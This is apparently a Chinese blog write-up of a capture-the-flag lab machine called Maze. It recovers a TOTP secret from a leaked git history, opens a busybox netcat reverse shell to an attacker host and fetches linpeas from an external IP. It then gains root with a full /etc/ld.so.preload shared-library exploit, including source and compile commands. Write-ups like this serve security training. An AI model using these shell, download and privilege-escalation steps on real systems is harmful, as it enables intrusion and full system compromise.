【渗透测试】玄机&Maze 全过程wp

玄机&Maze

image-20260403150621470

也就是说开了80端口和22端口

image-20260403150926091

可以看到存在git泄露

使用git log -p命令审查提交历史。

image-20260403151230786

3XKWRL4MDQ5YYPZSYBPDGFLHFA

大概率是密钥,符合Base32编码格式

且从登录页面让我们填一个Google OTP

我们写一个脚本让他生成一个OTP

import pyotp
key = "3XKWRL4MDQ5YYPZSYBPDGFLHFA"
totp = pyotp.TOTP(key)
print("当前 OTP:", totp.now())  # 每30秒变一次

成功登录,得到shell

我们反弹shell到我们服务器上去

在服务器上
nc -lvnp 7777
在靶机上
busybox nc xx.xx.xx.xx 7777 -e /bin/sh

同时我们开TTY

python3 -c 'import pty; pty.spawn("/bin/bash")'

image-20260403152545097

提权

先上传一下linpeas.sh

kali
python3 -m http.server 6666
靶机
busybox wget http://115.120.236.65:6666/linpeas.sh

chmod +x linpeas.sh
./linpeas.sh

image-20260406164200889

用户对/etc/ld.so.preload文件拥有写入权限。该文件用于指定在任何程序运行前需要预加载的动态链接库。这是一个经典的、高成功率的linux提权向量

利用ld.so.preload提权

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

void __attribute__((constructor)) init() {
    unlink("/etc/ld.so.preload");
    
    setgid(0);
    setuid(0);
    
    execl("/bin/bash", "bash", "--norc", "--noprofile", NULL);
    
    execl("/bin/sh", "sh", NULL);
}

在/tmp目录下创建一个名为exp.c的C语言文件,其功能是在库被加载时,将当前进程的权限提升为root,并启动一个bash shell

使用gcc将C代码编译成一个共享库文件exp.so
gcc -fPIC -shared -O -o exp.so exp.c -nostartfiles

将我们恶意共享库的路径写入/etc/ld.so.preload中

echo "/tmp/exp.so" > /etc/ld.so.preload

然后我们执行任何一个以root权限运行的SUID程序(如sudo)来出发预加载

sudo -l

image-20260406170056763

posted @ 2026-04-06 17:21  dynasty_chenzi  阅读(110)  评论(0)    收藏  举报
返回顶端